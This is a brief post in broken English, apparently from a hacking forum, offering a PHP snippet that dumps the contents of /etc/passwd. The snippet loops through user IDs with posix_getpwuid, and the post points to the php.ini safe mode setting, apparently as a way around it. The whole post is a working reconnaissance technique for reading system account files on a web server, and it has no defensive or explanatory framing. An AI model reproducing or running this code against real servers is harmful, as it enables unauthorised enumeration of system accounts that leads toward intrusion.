hi look show to /etc/passwd php.ini safe_mod_php= on ; or safe_mod_php=off ; code ------------------------------------------- for($uid=0;$uid<60000;$uid++){ $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list ($key, $val) = each($ara)){ print "$val:"; } print "<br>"; } } ------------------------------------------------------- show to /etc/passwd